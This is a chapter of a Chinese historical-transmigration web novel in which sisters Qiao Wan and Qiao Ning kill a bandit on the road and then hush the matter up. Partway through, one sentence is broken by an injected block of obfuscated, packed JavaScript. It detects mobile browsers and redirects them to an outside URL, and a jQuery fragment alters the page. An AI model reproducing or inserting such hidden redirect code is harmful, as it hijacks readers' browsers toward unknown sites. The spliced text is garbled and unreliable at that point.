时间转眼便过,很快到了离别的那日。
孙策对乔婉说:“我不在家,你要事事小心,若有真有委屈或者其他变故,一定要与我写信。”
乔婉笑着点头,“哪怕无事发生,我也会给你写信。”
孙策替她理了理发髻旁的碎发,“好了。走吧。”
乔婉鼓起勇气,说:“再等半刻。”
乔婉和乔宁依然等着父亲的现身,但乔承泽真的没来送她们。
乔承泽曾对乔婉说:“今日之言,已经把我们离别话说尽了。我便不再去送你们了,一定记得万事小心。”
在大庭广众之下,无法行大礼。
乔婉和乔宁只能冲着远处行了个礼。
今日一别,不知再见是何日了。
当乔婉坐进马车里的时候,乔宁哭得跟泪人似的,乔婉轻柔地抹去她的眼泪,问:“你这泪,是为了父亲,还是公瑾先生而流?”
乔宁破涕为笑,“姐姐,你怎么还是如此不正经。”
乔婉安慰道:“分离并不可怕,这不是还有我陪着你?”
乔宁从小便把姐姐当做依靠,无论失去什么,只要有姐姐,那便都会熬过去的。听到姐姐这话,乔宁不再伤心:“姐姐,你说我们是否还会回来?”
乔婉笃定:“一定会回来的。”
孙策下令一大队人马护送她们回去,至夜,所有人都要休息。
乔婉睡不着,想下车松快一下筋骨,却看到天上那圆月,只觉得心里升起些惆怅。
青山一道同云雨,明月何是两乡。
她想找个稍远些的地方更衣。但突然身后传来一阵淅淅索索的声音,乔婉猛地向后转身,却未想到对方比她还要快,立刻捂住了她的嘴。
乔婉觉得自己也太背了,就出来上个厕所,都能被绑架。
但是她另一个反应就是,不会在荒郊野地里真遇到什么名人了吧。
捂住她口鼻之人并非什么名人,看起来只是一个普通的贼人,皮肤黝黑,但身材称不上健硕,乔婉觉得他应该并不知道自己这队人马的来路,纯粹就是为钱抢劫。
但是男人看到乔婉的第一眼,眼神亮了起来,说出了那句噩梦一样的话:“你再叫,我立刻杀了你,只要你能陪我一会,我就放你走。”
乔婉知道现在敌强我弱,硬拼绝对没有好下场,只是慢慢的点头。
就在男人兴奋之时,却忘记了身后的警觉。
男人只觉得自己背后一阵剧痛,立刻扭过头去,刚才竟然是另一个绝色佳人手持箭矢刺向了他。
就在男人暴怒之时,乔婉立刻反应过来,猛地在身后掐住了他的脖子,几乎是用尽了这副身体的全部力气,她心里只有一个信念:一定要杀了他。
人在绝境之中,会爆发出巨大的求生欲望,乔婉觉得自己的肾上腺素已经到达极致,她的脑子里也一片空白。
若是乔婉不尽全力,这个男人绝不会放过她们姐妹,所以她只能拼命收紧自己的双手,直至对方不再挣扎。
乔宁也立刻拿着同一把箭矢疯狂刺向他,根本不知道到底刺了多少下。
当男人倒地之时,乔婉才跌跌撞撞跑到乔宁身边,看着她已经跌坐在原地,脸上却毫无表情。
看着手里还握着带血箭矢的乔宁,乔婉心急如焚的问:“刚才你知道有多危险吗?你怎么不先回去叫人来救我,哪怕你喊一声呢?!刚才若是他不死,死的怕就是我们两人了!”
“可是,”乔宁眼泪止不住,有些委屈道:“我若是先去叫人,姐姐,我怕你会出事......”
乔婉知道,人在重压之下,往往是会忘记自己可以发出声音的,大多会凭借第一直觉做事。
乔宁从来便不是胆大之人,今日竟然为了她,举起箭矢,杀死一个人。
这对她来说,一定极为艰难。
乔婉在心中暗叹,搂住浑身都在发抖的乔宁,缓了缓心神,先道歉:“对不起,姐姐只是怕你出事,我不该向你发火的......”
这时,卫队也听到声响立刻赶过来,看到如此场景,便知道大事不妙,立刻向乔家姐妹跪下,齐声道:“吾等护卫不力,请夫人责罚。”
乔婉镇定的说:“无事。只不过是一个走投无路的流民。”
她顿了顿,斩钉截铁道:“此事,不可向将军处传报。”
从皖城回吴郡的路线,全都在孙家的统治下,孙策虽然并非实行高压统治,但是毕竟是在治下出现此事,孙策一定觉得脸上挂不住,大抵会大力清缴一波流民。
清缴流民,绝不是轻飘飘的四个字,在这个时期是真的无差别屠戮。
这人既然已死,乔婉就不想再多纠缠了。乔婉是受社会
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694843|173404||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
主义成长起来的,脑子里没有高低贵贱那套,做错事的人要受到惩罚,但并非所有流民都穷凶极恶,大多数其实也不过是乱世下的可怜人。
若是真后续闹出什么乱子,乔婉觉得实属不必要。
更何况,今日之事传出去,只会影响她和乔宁的声誉。
守卫队长却看似很是迟疑,“可……”
乔婉厉声:“今日之事,若是传出去半分,我定要唯你是问。”
守卫第一次见如此严厉的乔婉,也立刻回应:“是。”
护卫队自然是不想把此事传到孙策的耳中,毕竟无论以何种理由,护送不力都是他们的责任,惩罚自然也是少不了的。
乔婉这番话,其实是救了他们,因此这些人对她多了一些崇敬,觉得将军的妻子不仅貌美,而且确实心善。
乔婉搀着几乎已经说不出话的乔宁回到马车上。
乔婉拍着乔宁的背,对她道:“你不必害怕。你都是为了保护我……若真有鬼魂,必来找我,不会去寻你。”
乔宁却坚定的摇头,“姐姐,我想的是,若我们也如男子一样有保护自己的能力……”
她紧握着那带血的箭矢,不肯放手,只道:“今日若换成姊婿或者公瑾,他们定不会落成我们这般艰难。”
乔婉在心里叹气,自从来到这里之后,她曾经千万次都这么想过。
乔婉刚才因紧急情况而极速飙升的肾上腺素也逐渐消退,猛烈咳嗽起来。
乔宁心焦,立刻说:“姐姐,不是最近都没再犯病吗?我现在去给你再煮一副药。”
大概也多亏了孙策盯着她日日喝药,对她的症状真有缓解。但这几日的舟车劳顿,确实有点让她吃不消了。
但她勉强笑,“急什么?我只是吓吓你罢了。”
乔宁靠在她的怀里,埋怨道:“姐姐!”
安抚好乔宁,看着她熟睡的面孔,乔婉也觉得心绪难安。她上辈子是个规规矩矩的良好公民,虽说平日里见血多,但真的动手杀人确实是第一次。
她回忆起自己手掌中那跳动的脉搏,和最后他那因过度缺氧而青紫的脸,只觉得一阵犯恶心,她立刻跳下马车,向草丛内干呕了两下。
由于乔婉也没吃什么东西,吐出来的基本上全是酸水。
如果能重选,乔婉发誓一定要去一个法治社会。